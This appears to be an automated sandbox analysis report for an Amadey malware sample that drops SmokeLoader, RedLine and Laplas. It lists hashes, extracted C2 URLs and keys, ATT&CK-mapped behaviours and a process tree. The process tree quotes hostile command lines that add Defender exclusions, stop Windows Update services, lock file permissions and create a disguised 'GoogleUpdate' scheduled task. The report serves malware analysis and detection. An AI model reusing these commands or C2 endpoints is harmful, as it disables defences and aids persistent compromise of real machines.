amadey | a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc

Analysis

max time kernel
113s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20230831-en
resource tags

arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
submitted
10-09-2023 22:09

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exe
Size

247KB
MD5

e43ca6c6bff0b2ff9c4c3621ba1a206d
SHA1

20b794ce89c8192feba8200bedf47a4d3b2f032a
SHA256

a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc
SHA512

3668555b11506ba9a0c44ba63341bd45342d785d0ca8c7dfbd934fce639076b68b1a40e06e8ee70dcb3d05201fe11d9163ce122a11aad194f18358e74eea81f4
SSDEEP

6144:kM1Ukz6DCGbAR/VeDC1tAOTcCywRLYurBiIg:kdkzaC+UjuLwuurBiIg

Score

10^/10

amadey laplas redline smokeloader amadey_api backdoor clipper discovery evasion infostealer persistence spyware stealer trojan

Malware Config

Extracted

Family

smokeloader

Version

2022

http://77.91.68.29/fks/

rc4.i32

Extracted

Family

amadey

Version

3.83

http://5.42.65.80/8bmeVwqx/index.php

Attributes

install_dir
207aa4515d
install_file
oneetx.exe
strings_key
3e634dd0840c68ae2ced83c2be7bf0d4

rc4.plain

Extracted

Family

redline

Botnet

amadey_api

amadapi.tuktuk.ug:11290

Attributes

auth_value
a004bea47cf55a1c8841d46c3fe3e6f5

Extracted

Family

laplas

http://lpls.tuktuk.ug

Attributes

api_key
a0f588021b58e0c7908a163f8750678efedf2a66bf739a12427b379aef47ccde

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Laplas Clipper
Laplas is a crypto wallet stealer with three variants written in Golang, C#, and C++.
stealer clipper laplas
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4204-15-0x0000000000400000-0x000000000045A000-memory.dmp	family_redline
behavioral1/memory/4020-14-0x0000000000F10000-0x000000000109E000-memory.dmp	family_redline
behavioral1/memory/4020-20-0x0000000000F10000-0x000000000109E000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

latestX.exe

description	pid	process	target process
PID 4072 created 3112	4072	latestX.exe	Explorer.EXE
PID 4072 created 3112	4072	latestX.exe	Explorer.EXE
PID 4072 created 3112	4072	latestX.exe	Explorer.EXE
PID 4072 created 3112	4072	latestX.exe	Explorer.EXE

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

winlog.exentlhost.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ winlog.exe
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ ntlhost.exe
Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

latestX.exe

description ioc process

File created C:\Windows\System32\drivers\etc\hosts latestX.exe
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	winlog.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ntlhost.exe

description	ioc	process
File created	C:\Windows\System32\drivers\etc\hosts	latestX.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

winlog.exentlhost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ntlhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ntlhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	winlog.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

8B83.exeoneetx.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4272677097-406801653-1594978504-1000\Control Panel\International\Geo\Nation	8B83.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4272677097-406801653-1594978504-1000\Control Panel\International\Geo\Nation	oneetx.exe

Executes dropped EXE 9 IoCs

Processes:

8826.exe8B83.exe8D2A.exeoneetx.exelatestX.exetaskhost.exewinlog.exemsedge.exentlhost.exe

pid process

4020 8826.exe
2088 8B83.exe
1564 8D2A.exe
3904 oneetx.exe
4072 latestX.exe
3328 taskhost.exe
5088 winlog.exe
2532 msedge.exe
816 ntlhost.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
4020	8826.exe
2088	8B83.exe
1564	8D2A.exe
3904	oneetx.exe
4072	latestX.exe
3328	taskhost.exe
5088	winlog.exe
2532	msedge.exe
816	ntlhost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

winlog.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4272677097-406801653-1594978504-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NTSystem = "C:\\Users\\Admin\\AppData\\Roaming\\NTSystem\\ntlhost.exe"	winlog.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

winlog.exentlhost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	winlog.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ntlhost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

winlog.exentlhost.exe

pid process

5088 winlog.exe
816 ntlhost.exe

pid	process
5088	winlog.exe
816	ntlhost.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exe8826.exetaskhost.exe

description	pid	process	target process
PID 2492 set thread context of 2916	2492	a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exe	AppLaunch.exe
PID 4020 set thread context of 4204	4020	8826.exe	vbc.exe
PID 3328 set thread context of 2940	3328	taskhost.exe	vbc.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

400 sc.exe
2628 sc.exe
1772 sc.exe
4904 sc.exe
4636 sc.exe
1964 sc.exe
3932 sc.exe
1644 sc.exe
496 sc.exe
2204 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1484 2492 WerFault.exe a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exe

pid	process
400	sc.exe
2628	sc.exe
1772	sc.exe
4904	sc.exe
4636	sc.exe
1964	sc.exe
3932	sc.exe
1644	sc.exe
496	sc.exe
2204	sc.exe

pid	pid_target	process	target process
1484	2492	WerFault.exe	a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

AppLaunch.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

2040 schtasks.exe
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 71 Go-http-client/1.1

pid	process
2040	schtasks.exe

description	flow	ioc
HTTP User-Agent header	71	Go-http-client/1.1

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

AppLaunch.exeExplorer.EXE

pid	process
2916	AppLaunch.exe
2916	AppLaunch.exe
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE
3112	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3112 Explorer.EXE
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

AppLaunch.exe

pid process

2916 AppLaunch.exe

pid	process
3112	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEvbc.exe8D2A.exevbc.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeDebugPrivilege	4204	vbc.exe
Token: SeDebugPrivilege	1564	8D2A.exe
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeDebugPrivilege	2940	vbc.exe
Token: SeShutdownPrivilege	3112	Explorer.EXE
Token: SeCreatePagefilePrivilege	3112	Explorer.EXE
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeShutdownPrivilege	3956	powercfg.exe
Token: SeCreatePagefilePrivilege	3956	powercfg.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeShutdownPrivilege	3076	powercfg.exe
Token: SeCreatePagefilePrivilege	3076	powercfg.exe
Token: SeShutdownPrivilege	888	powercfg.exe
Token: SeCreatePagefilePrivilege	888	powercfg.exe
Token: SeShutdownPrivilege	4872	powercfg.exe
Token: SeCreatePagefilePrivilege	4872	powercfg.exe
Token: SeIncreaseQuotaPrivilege	2784	powershell.exe
Token: SeSecurityPrivilege	2784	powershell.exe
Token: SeTakeOwnershipPrivilege	2784	powershell.exe
Token: SeLoadDriverPrivilege	2784	powershell.exe
Token: SeSystemProfilePrivilege	2784	powershell.exe
Token: SeSystemtimePrivilege	2784	powershell.exe
Token: SeProfSingleProcessPrivilege	2784	powershell.exe
Token: SeIncBasePriorityPrivilege	2784	powershell.exe
Token: SeCreatePagefilePrivilege	2784	powershell.exe
Token: SeBackupPrivilege	2784	powershell.exe
Token: SeRestorePrivilege	2784	powershell.exe
Token: SeShutdownPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeSystemEnvironmentPrivilege	2784	powershell.exe
Token: SeRemoteShutdownPrivilege	2784	powershell.exe
Token: SeUndockPrivilege	2784	powershell.exe
Token: SeManageVolumePrivilege	2784	powershell.exe
Token: 33	2784	powershell.exe
Token: 34	2784	powershell.exe
Token: 35	2784	powershell.exe
Token: 36	2784	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

8B83.exe

pid process

2088 8B83.exe

pid	process
2088	8B83.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exeExplorer.EXE8826.exe8B83.exeoneetx.execmd.exetaskhost.exe

description	pid	process	target process
PID 2492 wrote to memory of 4196	2492	a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exe	AppLaunch.exe
PID 2492 wrote to memory of 4196	2492	a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exe	AppLaunch.exe
PID 2492 wrote to memory of 4196	2492	a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exe	AppLaunch.exe
PID 2492 wrote to memory of 2916	2492	a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exe	AppLaunch.exe
PID 2492 wrote to memory of 2916	2492	a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exe	AppLaunch.exe
PID 2492 wrote to memory of 2916	2492	a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exe	AppLaunch.exe
PID 2492 wrote to memory of 2916	2492	a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exe	AppLaunch.exe
PID 2492 wrote to memory of 2916	2492	a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exe	AppLaunch.exe
PID 2492 wrote to memory of 2916	2492	a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exe	AppLaunch.exe
PID 3112 wrote to memory of 4020	3112	Explorer.EXE	8826.exe
PID 3112 wrote to memory of 4020	3112	Explorer.EXE	8826.exe
PID 3112 wrote to memory of 4020	3112	Explorer.EXE	8826.exe
PID 4020 wrote to memory of 4204	4020	8826.exe	vbc.exe
PID 4020 wrote to memory of 4204	4020	8826.exe	vbc.exe
PID 4020 wrote to memory of 4204	4020	8826.exe	vbc.exe
PID 4020 wrote to memory of 4204	4020	8826.exe	vbc.exe
PID 4020 wrote to memory of 4204	4020	8826.exe	vbc.exe
PID 3112 wrote to memory of 2088	3112	Explorer.EXE	8B83.exe
PID 3112 wrote to memory of 2088	3112	Explorer.EXE	8B83.exe
PID 3112 wrote to memory of 2088	3112	Explorer.EXE	8B83.exe
PID 3112 wrote to memory of 1564	3112	Explorer.EXE	8D2A.exe
PID 3112 wrote to memory of 1564	3112	Explorer.EXE	8D2A.exe
PID 3112 wrote to memory of 1564	3112	Explorer.EXE	8D2A.exe
PID 2088 wrote to memory of 3904	2088	8B83.exe	oneetx.exe
PID 2088 wrote to memory of 3904	2088	8B83.exe	oneetx.exe
PID 2088 wrote to memory of 3904	2088	8B83.exe	oneetx.exe
PID 3904 wrote to memory of 2040	3904	oneetx.exe	schtasks.exe
PID 3904 wrote to memory of 2040	3904	oneetx.exe	schtasks.exe
PID 3904 wrote to memory of 2040	3904	oneetx.exe	schtasks.exe
PID 3904 wrote to memory of 1568	3904	oneetx.exe	cmd.exe
PID 3904 wrote to memory of 1568	3904	oneetx.exe	cmd.exe
PID 3904 wrote to memory of 1568	3904	oneetx.exe	cmd.exe
PID 1568 wrote to memory of 4888	1568	cmd.exe	cmd.exe
PID 1568 wrote to memory of 4888	1568	cmd.exe	cmd.exe
PID 1568 wrote to memory of 4888	1568	cmd.exe	cmd.exe
PID 1568 wrote to memory of 4604	1568	cmd.exe	cacls.exe
PID 1568 wrote to memory of 4604	1568	cmd.exe	cacls.exe
PID 1568 wrote to memory of 4604	1568	cmd.exe	cacls.exe
PID 1568 wrote to memory of 2024	1568	cmd.exe	cacls.exe
PID 1568 wrote to memory of 2024	1568	cmd.exe	cacls.exe
PID 1568 wrote to memory of 2024	1568	cmd.exe	cacls.exe
PID 1568 wrote to memory of 3868	1568	cmd.exe	cmd.exe
PID 1568 wrote to memory of 3868	1568	cmd.exe	cmd.exe
PID 1568 wrote to memory of 3868	1568	cmd.exe	cmd.exe
PID 1568 wrote to memory of 1576	1568	cmd.exe	cacls.exe
PID 1568 wrote to memory of 1576	1568	cmd.exe	cacls.exe
PID 1568 wrote to memory of 1576	1568	cmd.exe	cacls.exe
PID 1568 wrote to memory of 4384	1568	cmd.exe	cacls.exe
PID 1568 wrote to memory of 4384	1568	cmd.exe	cacls.exe
PID 1568 wrote to memory of 4384	1568	cmd.exe	cacls.exe
PID 3904 wrote to memory of 4072	3904	oneetx.exe	latestX.exe
PID 3904 wrote to memory of 4072	3904	oneetx.exe	latestX.exe
PID 3904 wrote to memory of 3328	3904	oneetx.exe	taskhost.exe
PID 3904 wrote to memory of 3328	3904	oneetx.exe	taskhost.exe
PID 3904 wrote to memory of 3328	3904	oneetx.exe	taskhost.exe
PID 3328 wrote to memory of 2940	3328	taskhost.exe	vbc.exe
PID 3328 wrote to memory of 2940	3328	taskhost.exe	vbc.exe
PID 3328 wrote to memory of 2940	3328	taskhost.exe	vbc.exe
PID 3328 wrote to memory of 2940	3328	taskhost.exe	vbc.exe
PID 3328 wrote to memory of 2940	3328	taskhost.exe	vbc.exe
PID 3904 wrote to memory of 5088	3904	oneetx.exe	winlog.exe
PID 3904 wrote to memory of 5088	3904	oneetx.exe	winlog.exe
PID 3904 wrote to memory of 2532	3904	oneetx.exe	msedge.exe
PID 3904 wrote to memory of 2532	3904	oneetx.exe	msedge.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3112

C:\Users\Admin\AppData\Local\Temp\a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exe
"C:\Users\Admin\AppData\Local\Temp\a793513b8de4a882b0b9ea762bb37d029b557b5061d85dce1064dd66006ca2bc.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2492

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:4196

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2492 -s 304
3⤵
- Program crash
PID:1484

C:\Users\Admin\AppData\Local\Temp\8826.exe
C:\Users\Admin\AppData\Local\Temp\8826.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4020

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4204

C:\Users\Admin\AppData\Local\Temp\8B83.exe
C:\Users\Admin\AppData\Local\Temp\8B83.exe
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2088

C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
"C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3904

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
4⤵
- Creates scheduled task(s)
PID:2040

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\207aa4515d" /P "Admin:N"&&CACLS "..\207aa4515d" /P "Admin:R" /E&&Exit
4⤵
- Suspicious use of WriteProcessMemory
PID:1568

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:4888

C:\Windows\SysWOW64\cacls.exe
CACLS "oneetx.exe" /P "Admin:N"
5⤵
PID:4604

C:\Windows\SysWOW64\cacls.exe
CACLS "oneetx.exe" /P "Admin:R" /E
5⤵
PID:2024

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:3868

C:\Windows\SysWOW64\cacls.exe
CACLS "..\207aa4515d" /P "Admin:N"
5⤵
PID:1576

C:\Windows\SysWOW64\cacls.exe
CACLS "..\207aa4515d" /P "Admin:R" /E
5⤵
PID:4384

C:\Users\Admin\AppData\Local\Temp\1000457001\latestX.exe
"C:\Users\Admin\AppData\Local\Temp\1000457001\latestX.exe"
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
PID:4072

C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
"C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3328

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2940

C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
"C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5088

C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:816

C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
4⤵
- Executes dropped EXE
PID:2532

C:\Users\Admin\AppData\Local\Temp\8D2A.exe
C:\Users\Admin\AppData\Local\Temp\8D2A.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1564

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4560

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
2⤵
PID:4604

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:400

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:3932

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1644

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:2628

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:496

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:2700

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3956

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3076

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:888

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2784

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
PID:2236

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
2⤵
PID:3348

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
2⤵
PID:1524

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:2204

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:4904

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1772

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:4636

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:1964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
